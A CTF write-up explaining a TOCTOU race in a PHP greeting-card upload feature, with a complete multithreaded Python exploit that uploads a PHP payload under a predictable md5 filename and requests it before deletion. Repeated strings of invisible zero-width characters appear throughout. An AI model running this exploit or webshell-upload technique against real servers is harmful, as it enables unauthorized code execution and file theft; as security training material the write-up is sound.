← Back to Writeups
CUSTOMMediumWeb

Wish Constructor

XESXOR9/10/20263 min read
#web#custom#medium#concurrent_request_race#predictable_filename_md5#race_condition_file_upload#toctou_exploitation

Wish Constructor

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-08 | Status: Solved Techniques: concurrent_request_race, predictable_filename_md5, race_condition_file_upload, toctou_exploitation

Summary

Task: PHP file upload with post-save validation (TOCTOU). Solution: Race condition exploit with parallel upload and access threads to execute PHP before unlink().

Wish Constructor --- Duckerz CTF

Description

Праздничный функционал по генерации авторских пожеланий. Всё, что нужно для создания и отправки идеальной цифровой открытки к 8 марта.

The application is a greeting card constructor for March 8th (International Women's Day). Users enter a greeting message and choose a background image (from presets or upload their own). The result is a digital greeting card. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Architecture

Docker Container
  └── Apache 2.4.66 (Debian)
        └── PHP 8.2
              ├── create.php — card creation (file upload)
              ├── /static/uploads/ — uploads directory (chmod 1777)
              └── SQLite — data storage
  • Flag: /flag.txt (chmod 444, owner root, readable by www-data)

Analysis

Vulnerable code in create.php

The key issue is TOCTOU (Time-of-Check to Time-of-Use) in the file upload logic:

php
$temp_filename = md5($file_name) . '.' . $file_ext;
$upload_path = __DIR__ . '/static/uploads/' . $temp_filename;
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Step 1: File is SAVED to disk and IMMEDIATELY available for Apache to execute
if (move_uploaded_file($tmp_name, $upload_path)) {
    $allowed_exts = ['png', 'jpg', 'jpeg', 'gif', 'svg'];
    
    // Step 2: Extension check AFTER saving
    if (!in_array($file_ext, $allowed_exts)) {
        // Step 3: Deletion — but between step 1 and 3 there's a race condition window
        unlink($upload_path);
        // ... redirect with error
    }
}

Three critical factors

  1. Predictable filename: md5($original_filename) . '.' . $extension — no randomness. Uploading shell.php always creates file 25a452927110e39a345a2511c57647f2.php ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. File is saved BEFORE validation: classic TOCTOU — between move_uploaded_file() and unlink() there's a time window when the file is accessible on disk

  3. Apache executes PHP in uploads: no .htaccess restrictions, directory /static/uploads/ with 1777 permissions — Apache processes .php files as executable

Solution

Strategy

Race condition exploitation: run two types of threads in parallel:

  • Upload threads (10) — continuously upload PHP file with payload <?php readfile("/flag.txt"); ?>
  • Access threads (20) — continuously request the URL of the uploaded file ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After ~2000 attempts, one of the access requests hits the window between move_uploaded_file() and unlink().

Exploit

python
#!/usr/bin/env python3
import requests
import threading
import time
import hashlib

TARGET = "http://tasks.duckerz.ru:30039"
FILENAME = "shell.php"

temp_name = hashlib.md5(FILENAME.encode()).hexdigest() + '.php'
SHELL_URL = f"{TARGET}/static/uploads/{temp_name}"
PHP_PAYLOAD = b'<?php readfile("/flag.txt"); ?>'

found = False
flag_content = ""
attempts = 0
lock = threading.Lock()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def upload():
    global attempts
    s = requests.Session()
    while not found:
        try:
            files = {'background': (FILENAME, PHP_PAYLOAD, 'image/png')}
            data = {'message': 'test'}
            s.post(f"{TARGET}/create.php", files=files, data=data,
                   allow_redirects=False, timeout=5)
            with lock:
                attempts += 1
        except:
            pass

def access():
    global found, flag_content
    s = requests.Session()
    while not found:
        try:
            r = s.get(SHELL_URL, timeout=2)
            if r.status_code == 200 and 'DUCKERZ' in r.text:
                print(f"[+] GOT IT after {attempts} attempts!")
                print(f"[+] Flag: {r.text.strip()}")
                flag_content = r.text.strip()
                found = True
        except:
            pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

threads = []
for i in range(10):
    threads.append(threading.Thread(target=upload, daemon=True))
for i in range(20):
    threads.append(threading.Thread(target=access, daemon=True))
for t in threads:
    t.start()

start = time.time()
while not found and time.time() - start < 60:
    time.sleep(0.5)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍